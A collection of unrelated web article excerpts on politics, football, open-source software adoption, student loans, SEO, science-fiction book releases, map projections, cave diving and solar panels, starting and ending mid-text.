senior adviser said Monday afternoon that the president maintained “full confidence” in Mr. Flynn, while another said the president was trying to figure out what to do.  Mr. Flynn is the second person on Mr. Trump’s national security team to bow out already.  Last month Monica Crowley, a GOP foreign policy expert who had previously served as online opinion editor for The Washington Times and as commentator for Fox News,announced she would forgo a senior strategist’s position with Mr. Flynn after accusations by CNN and Politico that she plagiarized some of her work.  In his resignation letter Mr. Flynn said he held “numerous” calls with foreign ministers and ambassadors during the transition period after the election but before the inauguration. He said those kinds of communications “are standard practice.”  He also left with a parting thanks to Mr. Trump, saying the president in three weeks “has reoriented American foreign policy in fundamental ways to restore America’s leadership position in the world.”  According to CNN, retired Gen. David Petraeus will be “coming in” Tuesday to discuss the position. Retired Gen. Kellogg also is a candidate for the permanent post, CNN reported.
-According to the highest-rated definition on Urban Dictionary, "Spursy" means: "To consistently and inevitably fail to live up to expectations. To bottle it."  As has happened on so many occasions, that happened again last season when Mauricio Pochettino's side crumbled under the pressure of their unexpected title push and fell behind their old rivals Arsenal at the last in what felt like an inevitable collapse. Pochettino admitted he wanted to "kill" his players.  But something very special is happening at White Hart Lane: Spurs aren't very Spursy at all. Actually, on current form, they are the best team in the league. Could Pochettino be on the cusp of an era of success? There are remarkable similarities with a previous Premier League great...  Spurs could be the new (old) Man Utd  Pochettino has assembled a balanced squad of players, instilled a winning group mentality and sprinkled a little star dust over it. It's a team Sir Alex Ferguson would be proud of and you only need to look at the individual components to see how Pochettino has followed a blueprint for success.  Spurs have, as Man Utd had:
-Brief: Apparently, Open Source alternatives to Microsoft Office is not good enough for Brazil and thus they are reverting to proprietary Microsoft Office and other Microsoft tools.  The latest trend in Europe and developing countries was to ditch proprietary Microsoft Office and adopt an Open Source solution such as OpenOffice or LibreOffice. The move was more concerned with cost saving than for the love of Open Source. Whatever may be the reason, at least several government organizations have started to look beyond Microsoft.  But perhaps the euphoria died for some of them. Brazil that had opted for an open source policy is now reverting to Microsoft in an attempt to “generate cost efficiencies and standardize the IT applications portfolio across departments”, reported ZDNet.  Yes, you read that right. Brazil is opting for Microsoft for ‘cost efficiency’. It’s actually a deal with Microsoft that will allow the Brazilian government to buy Microsoft product licenses as per their requirement in the next 12 months, at a previously negotiated price.  And it’s not just Microsoft Office that they are getting. The deal includes Windows 10 and Windows Server (huh!!).  With this massive deal, Brazil departs from their Open Source policy put in place in the year 2003. The idea behind the open source switch was to reduce licensing costs and allow local IT companies to develop products for the government but apparent ‘lack of skills and interest’ led to the demise of this policy as the government struggled to get quality software.  Not just Brazil  It’s not just Brazil that is going back into the arms of Microsoft. Remember Italian region Emilia-Romagna switching to OpenOffice? Well, they are also going back to Microsoft Office, though, it’s not specified to be Microsoft but a proprietary cloud-based solution.  The open source move was already criticized by some of our readers and I had my suspicion as well. OpenOffice has not been in active development mode for last few years. In fact, OpenOffice has started indicating that it might be discontinued.  LibreOffice would have been the better choice here to replace MS Office. But the governments being the government, opted for the wrong Open Source solution. I do believe that had they opted for LibreOffice, things would have been better, specially considering that LibreOffice has worked a lot on its cloud solution.  These are not good news for us Open Source enthusiasts but I am rooting for the further success of LibreOffice so that it becomes the de facto alternative to MS Office and a ‘better one’ than that.
-United States Soccer Federation president Sunil Gulati said the old question was whether the sport would make it in America.  "If you'd said to me 20 years ago to bet your kids' college tuition on the growth of the game, on professional soccer, I wouldn't have said yes," Gulati said.  Those days, he told an audience of nearly 360 people, are over.  "Now, most of you in the room have kids who played, or kids who still play, or you played the game when you were a child," he said.  Gulati discussed topics ranging from the growth of the game in America to women's soccer salaries during a Jacksonville Sports Council Speaker Series luncheon at the Hyatt Regency Jacksonville Riverfront on Wednesday afternoon.  The third-term U.S. Soccer president also fielded questions from the audience that touched on several hot topics in American soccer.  � Of approximately 60 men's professional teams in the U.S., he said the number of teams that are "cash positive" can be counted on "maybe two hands and one foot."  � He said that "demand is insufficient" for women's professional soccer salaries to increase without more fan support.  � Though encouraging would-be NFL or NBA stars to pursue soccer at an early age could help the U.S. team, Gulati said effects may be limited because of the increased athleticism among today's elite foreign players: "They're cornerbacks, but with skill at their feet."  � He expressed some skepticism about proposals to implement European-style promotion and relegation, saying the ensuing legal battles "would eventually end up with nine people in robes in Washington."  Though soccer hasn't reached the NFL or Major League Baseball level in the United States, Gulati said it's making an impact.  "In a country with 320 million people, you don't have to be the NFL to be relevant," he said.  Gulati formerly worked as deputy commissioner of Major League Soccer. He also serves as a senior lecturer in the Columbia University economics department.  His speech marked one highlight in a busy 10-day span for Jacksonville soccer.  Also Wednesday, the United States men's national team departed training camp in Jacksonville for a complex journey to St. Vincent and the Grenadines, where they will play a Friday World Cup qualifier in the capital of Kingstown.  The team is set to return Saturday, then train for two more days before Tuesday's match against Trinidad and Tobago at EverBank Field.  Gulati expressed some concern with the estimated ticket sales of 16,000 thus far, well below the regional record crowds in the city for games in 2012 and 2014.  "We're not going to have the sort of attendance we had for the Nigeria game, for the Scotland game," he said. "It's a little bit of a concern, but hopefully it'll pick up in the next few days."  Still, he's optimistic about the city's future as a destination for U.S. Soccer.  "We'll be back in Jacksonville, I can assure you of that," Gulati said.
-For students who graduated in May and June with student loan debt, an important letter is coming soon: the dreaded student loan repayment notice.  For federal student loans, and most private student loans, borrowers have a six month grace period before they have to start making payments. About six weeks before the first payment is due, borrowers will receive a notice from their student loan servicer that highlights the loan balance, repayment plan, repayment amount, and other terms of the loan.  But before you make any choices - some which could seriously harm your financial future - make sure you understand what to do and what your options are.  You Don't Have To Use The Standard Repayment Plan  First, it's important to remember that you don't have to use the standard repayment plan. When you initially get the student loan repayment notice, your lender will default you into the standard plan. This plan is based on equal payments over 10 years. However, this can be challenging for recent college graduates, who may not be making much in their first job.  FinAid.org has a great breakdown of the different repayment plan options for graduates, so make sure you see if a graduate plan or other repayment plan makes more sense for your financial situation.  See If You Qualify For Student Loan Forgiveness  Next , see if you qualify for any type of student loan forgiveness program. Over one-third of student loan borrowers are estimated to qualify for some type of student loan forgiveness, and this can be a great way to lower your student loan burden.  If you do qualify for a program, you need to contact your student loan servicer to see what documents are required to prove eligibility. Many forgiveness options require several years of service after graduation, and your lender will require that you make the minimum payments on your student loan debt while this happens.  Use Backdoor Student Loan Forgiveness Plans  If you don't qualify for regular student loan forgiveness programs, you can see if you qualify for these "secret" student loan forgiveness programs. These aren't true student loan forgiveness programs, but are actually student loan repayment plans that have student loan forgiveness at the end if there is any remaining balance.  If you are struggling to make payments on any of the standard student loan repayment plans, these special plans may work for you. They are typically based on your income (which you have to verify each year to remain eligible), and after a certain period of repayments, you loan balance is forgiven. It's important to note that your repayment plan can last up to 20 years or more, and any balance forgiven is considered taxable income.  What Not To Do  Now that you know your options, here are some important things not to do:  1. Don't go back to school unless you have a really valid reason to do so. Most college graduates shouldn't go straight to graduate school for a variety of reasons - and escaping making student loan payments is one of those reasons.  2. Don't skip making payments because you can't afford it. By not making payments, you will ruin your credit score, which will impact your financial future for years. Having a poor credit score can prevent you from buying a car, buying a house, renting an apartment, even getting a job. With all of the repayment possibilities listed above, simply change your repayment plan to something that works before skipping a payment.
-“With 500+ changes to Google’s search algorithm per year, it can be easy for an SEO marketer to go crazy trying to keep up with all the changes!”  So, in order to prevent a wave of marketers going to the loony bin (although it may be too late for some), I have compiled a guide of the most important SEO factors to keep in mind that if followed, will help reduce the fatigue and stress of those SEO professionals who think they have to know every detail of every algorithm change that has ever happened.  Instead, let’s look at the big picture of how your Search Rankings Are Influenced.  The following statement is the big picture summary:  It’s how you make sure that your content is the best possible content on the Internet for the words that you care about. Source: www.ama.org  When you understand the big picture of SEO, then many of the details become easier and/or unnecessary. Instead of trying to ‘keyword stuff’ the page with the right ‘buyer’ phrases that have been strategically placed to achieve the optimal keyword density, you think more in terms of writing content that will give the searcher exactly what they were looking for in the first place.  Search Engines have evolved and the idea behind intent cannot be ignored. Metrics such as bounce rate, click thru rate, time on site, pages viewed, site authority and latent semantic indexing all play a part in influencing Search Engines to rank a website or not.  In a nutshell, search engines have gotten smarter and they know if your content meets user expectations. Gone are the days of having a crappy ‘keyword stuffed’ webpage that doesn’t provide valuable content rank high in Google.  Search Engine Trends that Can’t Be Ignored  With that in mind, let’s look at some trends that are staring us in the face in 2016.  Social Media Will Continue to Influence Search Results – Social Media is here to stay and the hive mind matters to Google. Whether we like it or not, the content that is being shared throughout Social Media is a key indicator of its importance. According to an article at www.impactbnd.com, 76% of marketers use Social Media to support and boost SEO.  Videos will Become More Prominent in the SERPS – We all know that videos represent some of the most engaging content on the web. From www.quicksprout.com, we learn that videos get 50 times better organic page ranks in Google than pages that have no videos on them. There are many other sources that confirm just how easier it is to rank videos than plain static web pages. In general, videos can create a better experience for the user and create a greater Search Influence.  Mobile Search Influence Continues to Grow – If your website is not Mobile friendly, then there is no use wasting time and money to try to rank higher in the SERPS. Its not going to happen. It is a well known fact that Google has updated their algorithms to give preference to websites that are mobile friendly. The bar has been raised and it is here to stay. Again, this has to do with the user experience. Your audience is no longer using just one device. They are using a combination of devices that include tablets, smartphones, laptops and even watches. In 2015, Google confirmed that over half of all searches are from Mobile Devices. Source: searchengineland.com  Mobile App Optimization Will Pick Up Steam – Does your business have an app? According to Tech Crunch, mobile apps account for 52% of all time spent on online digital media. Since it is obvious that more and more people are using their smart phones for searches, this influence cannot be ignored. Apps take the functionality of a website and offer it to the user in an easier and faster way. More and more businesses will use apps to not only to provide a greater user experience on mobile devices, but also to attract more customers.  Latent Semantic Indexing is a Mega Trend – In the early days of the search engines, keywords were just matched up with pages. This created an easy way to influence search rankings and spam the system without providing quality content. But with Latent Semantic Indexing, the intent behind the query became more understood and the associated web pages were evaluated based on not just a specific keyword phrase, but rather the combined group of associated phrases that would indicate relevance. In other words, if someone searched for ‘cars’, it was also understood that web pages discussing ‘vehicles’ or ‘autos’ would also be seen as relevant. This development actually provides a greater incentive to content creators to provide the best quality content possible without trying to influence the search engines through repetitive text that sounds unnatural.  Local Search Influence Gains Traction – The location of any business is a significant factor in determining the relevancy of search queries. If someone is in Chicago and searching for ‘restaurants’, then no matter how great the content is of other restaurant websites around the country, the ones in the Chicago area will provide more relevance to the search query.  This is a simple example but it highlights the fact that the search engines have evolved to know where you are located and that the search query is a local search query. As a marketer, it is critical to let people know where you are located and what you are offering so your chances of showing up in as many places as possible increases. According to Entrepreneur.com, local SEO is only going to grow stronger.  In summary, each of these 6 trends show one overall large trend: To continue to reward and influence search rankings for websites that have higher quality content that provides the best user experience for a related keyword phrase. Search Engines have finally passed through that awkward phase of puberty and have matured to the point where they can understand what users want and then sift through billions of pages to determine which content is going to best satisfy the user’s curiosity.
-Getty Images  Once upon a time, quarterbacks acquired with a high pick in the draft got several years to figure out how to play in the NFL. For most, that included a year or more of learning without playing.  Now, quarterbacks taken at the top of the draft quickly get thrust into the fray. And if they don’t quickly figure out how to play at the NFL level, they’re quickly cast aside.  From a five-year plan to a three-year plan to what may now be a one-year mandate, the reduced cost of young talent under the rookie wage scale has created, in some cities, an up-or-out mentality, regardless of the magnitude of the pick invested in the quarterback.  Last year, some thought Jets G.M. John Idzik wanted Geno Smith, the 39th overall pick in the draft and second quarterback taken, to start from Week One so that the Jets would know what they have in Smith, in the event they land at the top of round one in the 2014 draft.  The possibility of a high second-round pick being on a one-year arrangement seemed bizarre. But it now appears to be a reality.  Mike Vick, at this point in his career, plays the position (if healthy) better than Smith. Smith’s high-road welcome of Vick to New York could be viewed as a concession of that fact.  Actually, Smith’s words read a bit like he’s relieved.  Maybe the Jets are putting a new twist on the modern NFL. Maybe the rookie quarterback can start for a year, be supplanted by a veteran if the rookie doesn’t instantly become a star, and then reclaim the job after the veteran’s one-year contract expires.  Instead of having the rookie take a seat for a year or more, maybe today’s NFL will from time to time entail a rookie who fails the baptism by fire, takes a year to heal his wounds, and then gives it another try.  Either way, it’s a strange new dynamic in the win-now NFL, where teams truly are constructed on a year-to-year basis — and where young players don’t get as much leeway as they used to when trying to figure out how to thrive.
-Mushroom Leather  Apart from Modern Meadow, a company that grows leather in the lab, another start-up is giving leather makers a run for their money. MycoWorks is using fungi to produce leather substitutes, through a process that’s cheaper and faster.  MycoWorks’ chief technical officer Phil Ross has been collecting and growing mushrooms since the 1980s. He discovered the vast possibilities resulting from manipulating the growing conditions of the mushroom mycelium—the spiderweb-like fibers that extend through soil or decaying matter to gather nutrients. “Fungi are very sensitive; they will change their growth in relationship to how they’re being poked and things like that,” Ross says. “You put it in a cup, it would take the shape of a cup.”  The mushrooms were grown and fed with mostly agricultural waste such as corn cobs and sawdust while altering conditions such as humidity, light exposure, exchange of gases, and temperature in an effort to coax the fungi to grow in different ways, textures, and with varying durability. They even grew the material hard enough to be used as a chair.  The company is currently using Ganoderma lucidum, also known as the reishi mushroom (commonly found in Asian remedies and teas) because it has been proven safe for human skin and consumption.
-I usually make my pick of books for a month mid the month before and you will find more information about the books there. This is my teaser page of things to come. Remember that the further away a release is the less certain is the information, covers can change from week to week and delays are common. This is also a collection of data from public sources like Amazon, Publisher and Author home pages that might contain errors or old information. So you can’t trust this calender like it was written on stone.  I love to get information on future releases for this Calendar. Comment here or email me ove at cybermage.se. Everyone is welcome authors, agents, publishers to.  2010  December 2010  2011  Daring (Kris Longknife 9) by Mike Shepherd (ACE) – probably fall/winter  Darkship Renegade (Darkship Thieves book 2) by Sarah A. Hoyt (Baen) – probably fall/winter  Safehold book 5 by David Weber (Tor) – probably early 2012, he started writing it in Oct 2010  Clan Chronicles: The Reunification Cycle book 1 by Julie E. Czerneda (DAW) – she started writing it in Oct 2010  January 2011  February 2011  March 2011  April 2011  Betrayer (Foreigner book 12) C. J. Cherryh (Daw)  May 2011  Dreadnaught (Lost Fleet: Beyond the Frontier 1) by Jack Campbell (ACE)  Dead Reckoning (True Blood 11) by Charlaine Harris (Gollancz, Ace)  Embassytown by China Miéville (Tor UK | Del Rey)  Summer 2011  The Unincorporated Woman (The Unincorporated Man 3) by Dani Kollin & Eytan Kollin (Tor)  June 2011  Blue Remembered Earth (Poseidon’s Children Book 1) by Alastair Reynolds (Gollancz)  July 2011  War in Heaven (Veteran book 2) by Gavin G. Smith (Gollancz)  August 2011  Unti (Star Corpsman 1) by William Keith (Eos)  The Departure (Owner Trilogy 1) by Neal Asher (Tor UK) – unconfirmed date  Blight of Mages (prequel to King breaker King maker) by Karen Miller (Orbit)  The Ascendant Stars (Humanity’s Fire 3) by Michael Cobley (Orbit)  The Iron Jackal (Tale of the Kitty Jay 3) by Chris Wooding (Gollancz) – will probably be delayed to october  Pearlant (Light Universe) by M. John Harrison (Gollancz)  September 2011  Dust 514 by Tony Gonzales (Gollancz)  Bitterblue (Seven Kingdoms Trilogy 3) by Kristin Cashore (Gollancz) – will probably be delayed to 2012  October 2011  A Beautiful Friendship (Honorverse YA) by David Weber (Baen?)  The Kingdom of Gods (The Inheritance Trilogy 3) by N. K. Jemisin (Orbit)  2011 winter  Ganymede (Clockwork Century 4) by Cherie Priest (Tor)  2012  Zero Point (Owner Trilogy 2) by Neal Asher (TorUK) august?  A Rising Thunder (Honor Harrington/Torch/Saganami) by David Weber (Baen)  In the Mouth of the Whale (Quiet War Universe) by Paul McAuley (Gollancz)  The Traitor Queen (Traitor Spy Trilogy 3) by Trudi Canavan (Orbit) – Trudi starts writing Oct 2010  Intruder (Foreigner book 13) C. J. Cherryh (Daw) – in the writing Oct 2010  January 2012  In the Mouth of the Whale by Paul McAuley (Gollancz)  August 2012  The Quantum Thief 3 by Hannu Rajaniemi (Gollancz)  September 2012  Ragnarok 3 by John Meany (Gollancz) – delayed from feb 2012 in October 2010  November 2012
-Beyond the sea  In the northern reaches of Newfoundland, near the town of St. Anthony, is the Fox Point Lighthouse. I’ve never been there, but I know it has one of the most impressive ocean views in the world. If you face perpendicular to the right bit of rocky coastline there and gaze straight across the ocean, your mind’s eye peering well beyond the horizon, you can see all the way to Australia.  What’s really across the ocean from you when you look straight out? It’s not always the place you think.  I’m inspired by a map done a couple of years ago by Eric Odenheimer and some follow-ups by Weiyi Cai and Laris Karklis of the Washington Post. Those maps are colorful, handy guides to countries of equivalent latitude across the oceans. It’s easy to forget, for example, that much of Europe is well north of the United States east coast. But they’re not exactly maps of what’s across the ocean from you, at least not directly across from you. To think of east or west as “straight” across is, perhaps, one of those effects of the map projections we see every day.  The latitude maps got me interested in answering the question more strictly: standing on a given point and facing perpendicular to the coast, if you went straight ahead, never turning, where would you end up? There are two reasons why following a line of latitude won’t answer the question.  1. Coastlines are crooked and wacky.  2. The earth is round.  With that in mind, here are some maps showing the points from which you can “see” each of the continents.  Coastline angle  Coastlines face all different directions, bending and turning constantly. The “East coast” isn’t a straight north-south line facing directly east. Just look at the state where I live, which has coastline facing literally all directions.  Taking “across the ocean” to mean directly across, perpendicular to the coast, then what’s across the ocean depends on where you’re standing! To get a rough idea of what direction the world’s coastlines face, I’m calculating the angle between every pair of adjacent coastal vertices in medium scale Natural Earth data, then placing a point in between them and measuring the view from there based on that angle.  The much-maligned Mercator projection comes in handy here. Those angle calculations were made using projected coordinates because the conformal Mercator projection preserves the thing I’m interested in: local angles!  Straight lines on a round object  The second point is trickier to imagine thanks to common rectangular maps and the way latitude itself is defined. If you can detach the concept of “direction” from the concept of east and west, and look at globes and other map projections, it’s easy enough to picture. The shortest, straightest line on a sphere (let’s call the Earth a sphere even though it technically isn’t) is a great circle arc, not something like a line of latitude.  What we often think of as “straight” is a path following a rhumb line, a line of constant bearing. Wikipedia succinctly describes how such a “straight” line actually turns, in contrast to a great circle.  If one were to drive a car along a great circle one would hold the steering wheel fixed, but to follow a rhumb line one would have to turn the wheel, turning it more sharply as the poles are approached.  A typical classroom demonstration of great circles is to pull a piece of string taut on the surface of a globe between two points, and note how the string arcs across lines of latitude, changing its bearing the whole way. Try this specific case to drive home how the spherical “straight” differs from “straight” as we’ve defined compass directions: find a line of longitude on the globe, then a spot along that line somewhere away from the equator. Bring the globe to your eye and place the string perpendicular to the meridian, in between two latitude lines. Line up your view with the string and you can see that even though it starts out going due east or west, as it continues directly ahead the “straight” east/west parallels curve away from it.  So if we want to know what’s truly straight across the ocean from a given coastline point, we need to see what direction the coast faces at that point, then draw a great circle in that direction and see what it runs into.  As for flat maps, certain map projections provide an accurate view of directions. The azimuthal equidistant projection, for example, preserves correct direction (and distance) from the center point of the map. A straight line from the center of the map is a straight line in real life. Here’s the Newfoundland-to-Australia example from earlier:  Such a map, in the end, is how I’m figuring out beach views: center that projection on each point, then draw a straight line in the correct direction until it hits land.  Conclusion  I’m not entirely certain that I have all the math right, but I think it’s at least close. Even we cartographers sometimes have a shaky grasp of map projections and spherical geometry.  But who has time for correct math? I’ve got to start training for the straight-line swim from the number one beach in my life—30th Street in Ocean City, New Jersey—to Brazil.
-iAcquire has recently blogged about their use of heavy use Ubuntu and open source software across the enterprise. Jeff Nappi, Director, Technology athas recently blogged about their use of heavy use Ubuntu and open source software across the enterprise.  iAcquire specializes in digital marketing services and their fulfillment department has 45 happy Ubuntu users.  The single largest department at iAcquire is our fulfillment team and they currently work every day on dual-head Ubuntu 10.04 LTSP diskless workstations. These diskless workstations are what are known as Fat Clients – the entire operating system is loaded via a compressed disk image over our Gigabit LAN, authentication is done via SSH, and home directories are mounted via NFS. All applications are run locally and are very fast – it is nearly unnoticeable that the machine is running entirely over the network. Behind the scenes we have two powerful servers in a hot-standby configuration that serve these diskless clients.  Jeff cites a number of benefits like no virus threats and hardware failures, easy availability of software and no IT support time and cost.  They use popular Linux applications like Firefox, Thunderbird, Google Chrome, LibreOffice, Pidgin Instant Messenger and Spotify.  They use popular Linux applications like Firefox, Thunderbird, Google Chrome, LibreOffice, Pidgin Instant Messenger and Spotify.  To date we have saved hundreds of thousands of dollars in unnecessary costs by choosing Linux and open-source platforms.  They Love Precise Pangolin  Many iAcquire developers are currently using Ubuntu 12.04 on desktops and soon many workstations will be upgraded to Precise.  Several of the iAcquire developers are currently using Ubuntu 12.04 / Precise Pangolin on our desktops – including myself. And we really love it, it’s an extremely good user experience. Unfortunately we’re not yet able to share the awesome experience of Precise with the fulfillment team due to several squirrels (aka bugs) that are preventing us from deploying it. We will be doing more testing over the coming months and plan to share this experience with the rest of the iAcquire team as soon as we can. Thanks to Jeff Nappi  Its a, I will quote some of the parts from the article here.
-Today we arrived at the mine to discover a major river running down the slope. With the intense rain and snow melt on the island, all the water had to go somewhere. When we walked down to the dive staging area we were shocked to discover that we had lost more than 20 feet of waterfront. The dock was close to the ceiling and the benches and staging area were submerging. It was simply not safe to use our walkways and dock.  Not to be discouraged, the skeleton team jumped into action. Volunteers were unable to make it across The Tickle on the ferry, so we were a little short handed. All hands moved tanks, tables and gear and deconstructed the lighting system and rest of the infrastructure. Repairs will need to be made when the water level drops. The water came up six feet through the day. With a hard freeze tonight, we are hoping the inflow subsides.  The rushing water also destroyed visibility for a significant distance. Cas Dobbin and I entered the water in another column and groped through 250 feet of zero-visibility muck. When we finally emerged from the clay colored water, we could see white misty in-feeding seeps further polluting the visibility. We made our way down to 130 feet of depth and spent some time shooting equipment near the pumping station. We found a lot more interesting graffiti and even managed to identify one of the people named on the wall. His friends were assisting at the mine and told us about his prowess playing strongman on their hockey team.  Cas and I were the only ones eager to make a second dive. We worked on a video mission and searched for the best area to lay line the following day. The visibility seemed to be best on the east of our entry, as far away as possible from the in-feeding meltwater. Our dive went well until our decompression stop when Cas tore a mouthpiece and experienced what we call a caustic cocktail. Water leaked into his rebreather and mixed with the carbon dioxide absorbent material, creating an alkaline fluid that can burn the mouth. We were in inches of visibility when he quickly switched off his loop and got on open circuit air. He coughed and I reached out to hold him. The scuba air was the same temperature as the water at 3 degrees, so he became quickly chilled. Rebreathers create an exothermic reaction that gives a diver warm moist air to breathe. Traditional scuba is like inhaling freezing air, chilling the diver more quickly. Cas handled the emergency like a really well practiced explorer and managed through the chill to complete his full decompression obligation.  After the dive, we jumped right into our medical tests and learned many more new things about decompression stress. I’ll leave the details for a future blog, but suffice to say, the medical research being done here is incredibly valuable to the team and to understanding extreme dive profiles. We are grateful for Neal Pollock and Stefanie Martina who have to put in days as long as ours to collect the important data.
-Sen. Ray White, R-Bedford, has endorsed U.S. Rep. Ron Paul, R-Texas.  "Unlike the other candidates, Ron Paul has been singing the same tune for years – going back to his first term in Congress," said White, a first-term senator for District 9, which includes Bedford and Merrimack. "He has understood and tried to warn us for decades about the economic crisis we now face, and he is the only candidate who understands the gravity of the situation."  White said strict policies that target the "ballooning budget and fiscal irresponsibility" must be made to correct the course the country is on and if that can be done there might be an opportunity for economic recovery.  "Ron Paul's Plan to Restore America is that opportunity. No one else has put forward a plan to dig this nation out of debt and out of trouble in only three years, and only Ron Paul will do it without ransacking the security of seniors, veterans, and the people who have, unfortunately, come to depend on government programs in these tough times.  "The core of an American recovery must be fiscal responsibility from Day 1 of the new administration. And we can trust Ron Paul to deliver."  White, a Certified Financial Planner and Chartered Financial Consultant, specializes in employee benefits and financial planning. He announced late last month that , citing fairness to his family and business and the time committment required of a senator that keeps him away from those things.  District 9 serves White's hometown of Bedford as well as Merrimack, New Boston, Mont Vernon, Lyndeborough and Greenfield.  Other state lawmakers who have endorsed Paul include state Sen. Andy Sanborn, R-Henniker, and Sen. Jim Forsythe, R-Strafford – Paul's state chairmen.
-What can we expect from this new series of Red Dwarf?  It’s a throwback, really, to the series that were made in the mid-90s: the four boys on Red Dwarf. It’s character-based comedy, similar to those middle series that were aired on BBC2.  Advertisement  Why did you go back to a live studio audience – did you feel that the Back to Earth mini-series in 2009 worked less well without the laughter?  The situation with Back to Earth was that we had to play with the hand we were dealt. That isn’t to denigrate Back to Earth, because there were a lot of great things about it. But it wasn’t necessarily what we’d have chosen if we’d been given any choice.  Originally, the idea was that Dave wanted to celebrate Red Dwarf’s 20th anniversary and the actors were going to be in costume introducing some clips. But it evolved, and I don’t think the people who put the budget together realised how expensive it is to start Red Dwarf up from scratch because, of course, we didn’t have any sets at that point at all.  And so, we were forced to go down a particular path, which meant we couldn’t afford the studio audience. In fact, we couldn’t really afford any sets either. In the end, we had two-and-a-half sets. I mean, people look at Back to Earth and think it looks like the most expensive and sumptuous episode ever. It looks like there was a ton of money thrown at it, but that’s just the brilliance of the direction and the visual effects, I’m afraid.  And it’s not necessarily what’s good for the comedy, because the boys hated doing all that green-screen work. So the day after it was broadcast – and, of course, it was very successful – I said that if we were going to do it again, I’d want a proper set and audience back, please.  Plus, I didn’t want to write 23-minute episodes because Red Dwarf episodes are quite complicated – with 23 minutes you end up having to spread the story over several episodes. I don’t think it’s as satisfying as getting a whole story in one episode. Basically, this time around, all the things I wanted we’ve got.  There’s still an appetite for Red Dwarf – didn’t those 2009 episodes get three million viewers?  Yes, and it was repeated over the Easter weekend. If you aggregate all three shows and add the Making Of documentary, the actual figure you end up with is 11 million. It beat BBC2, which is absolutely unheard of for a non-terrestrial channel, which was just amazing.  Also, lots of Red Dwarf fans didn’t know it was on. Even now, a couple of years later, fans say to me: “What? I’ve never heard of it.” So, that’s very bizarre.  Have there been any approaches by the BBC since then to resurrect it?  I think you can probably guess! Of course, BBC2 is where the whole thing started and obviously we want to get the biggest possible audience we can. But no, the BBC hasn’t approached us.  The last one we did with them was series eight, which got eight million and was the most successful series we’ve ever done. And then we wanted to do a film, which took so long not to get anywhere! We were constantly promised that the money was there, or about to be there, and we were sent to places all over the world from Austria to Australia to look at locations.  I think I did 35 rewrites of the script. I was asked to make the movie look more expensive because, at one point, the budget went up to close to £20 million. Then I was asked to rewrite it again to bring it down so it would only cost £8 million. We should have tried to make something for £3 million and it would probably have got made. But that didn’t happen and neither did the movie.  Then we stepped off the TV merry-go-round and once you’re off, it’s hard to get back on. I totally understand the channel controllers who want to encourage the next generation and who say, “We don’t want you old farts back again, although we enjoyed you while you were here. And quite honestly, we don’t know if the people who used to watch your show will still watch.” But I think Back to Earth proved that the Red Dwarf fanbase is still there.  And bizarrely we’ve got a whole new generation because the show’s been repeated on Dave.  Craig Charles told me he gets young people coming up to him and talking about episodes that were made in the late 80s…  Often before they were born! It’s bizarre. I went on holiday with some friends and they had an eight-year-old son. All he did for the entire holiday was watch Red Dwarf on his dad’s iPhone. I’m on holiday, trying to relax and all I can hear is the flipping Red Dwarf theme tune.  In retrospect, do you think the fact that the movie didn’t get made was probably for the best? When you watch the episodes with the studio audience, it’s almost like the cast can time their gags better. Is it a more natural fit on TV?  I think that’s absolutely right. Once we had the budget for the movie, I wanted to do what the Marx Brothers did, which was to take their scripts on the road to test them out with an audience and then film them. So they knew where the laughs were and then they replicated their performance in front of the audience on film. And I thought that was the clever, smart thing to do because there is an extra energy in front of an audience.  No matter what you say to an actor, you can’t make them truly scared in the way that an audience makes them scared. They know that if they don’t perform on the night, the scene won’t ever work. So they all just raise their game in a way that they find much more difficult if they’re in front of green-screen for 12 hours.  Are the cast always willing to jump back on board?  Absolutely, yes. We have such a good time. It is one of the hardest comedies to make though. I mean, poor Robert Llewellyn [Kryten] – if he were to eat while in costume it would completely mess up his lips. So he chooses not to and has these energy shakes, which he drinks through a straw. So he has the mask, which does terrible things to his eyes and skin. And then he’ll go off and have a curry with Craig in the evenings and says that he’s still managed to put on weight by the end of the shoot. It’s so unfair!  So you’ve got the costumes and the miniatures, some green screen and complex stories thrown in. It’s hard, and everyone accepts that it’s hard. But it’s also great fun.  I know the visual effects have become more sophisticated over the years but, for me, the best scenes are always in the bunkroom, where you see the loneliness of the situation these characters face.  We’ve got back to that core with this series. It’d probably be quite a hard sell these days, though, if you went in and pitched a science-fiction comedy. You’re halfway out the door already. People hate that idea.  Plus it’s just four blokes, no women, no aliens or monsters – and a lot of it’s about loneliness and your life slipping by. No one would buy that. But that’s what we’ve got back to: that feeling of trying to make something of your life when there’s not very much there.  There’s a story where Lister has an accidental love triangle with two female dispensing machines. And it’s a situation where you think, “Oh my god, that probably would happen in that environment, where even the dispensing machines are lonely!”  Do you feel that Red Dwarf is strongest when it looks at these little strategies the characters employ to keep themselves sane?  Yes, but occasionally you can have a big plot. You can do a Tikka to Ride, the one in which it turned out that JFK shot himself. And there’s a big one in this series, in show three. Most of the series is set on Red Dwarf, but that has an expansive interior set. So it’ll be interesting to see the reaction to that.  Finally, can you give me three words that you think sum up this series?  I can give you four. Back. To. Its. Best.  Advertisement  The new series of Red Dwarf begins on Thursday 4 October on Dave
-It may be time to install some solar panels on your roof to counter that electricity bill that is through the roof. Here is a brief guide to solar panels and solar electricity systems.  How do solar panels work?  Photovoltaic (PV) cells convert sunlight directly into electricity. Today, thousands of people take advantage of this process by using individual solar PV systems to power their homes. According to the National Renewable Energy Laboratory, the solar panels used for homes are made up of modules of about 40 solar cells. The average home will need 10 to 20 solar panels.  What are the benefits of solar power?  The U.S. Department of Energy reports that most solar electric systems usually pay for themselves in four to five years. They tend to last up to three decades, and can increase the value of your home. There are also federal and state incentives that come along with solar installations. Find out what kind of tax credits and utility rebates are available in your state.  And then there are the environmental benefits of switching to solar power. Solar electric systems reduce greenhouse gas emission, as well as the dependence on fossil fuels and foreign oil.  How do I decide which solar panels to buy?  There are two main types of solar panels: crystalline silicon and thin film. Dan Bedell, the executive vice president of marketing and corporate development at Principal Solar, says to keep in mind that, while thin film panels may be less expensive than silicon-based ones, they usually produce less electricity.  When selecting solar panels, Bedell says that you should pay attention to the price per watt calculation (divide the price of the module by the number of watts it is rated to produce). You should also consider your location, the amount of sunlight your home receives and the average temperatures for your area.  "The best module for Boston might not be the best module for Phoenix," Bedell says.  Other factors to think about when you are picking out a system include your budget, the available space on your roof or in your yard for the solar panels, and the degree to which you want to offset conventional power with solar power.  Can I install the panels myself?  No. Bedell says that installing a solar electricity system is not a do-it-yourself project.  You will need a licensed electrician or certified solar installer. Consult the North American Board of Certified Energy Practitioners (NABCEP) for a list of certified systems installers. Ask any solar energy dealer or installer if he or she handles the tax incentive paperwork.  Your system will require a certain level of 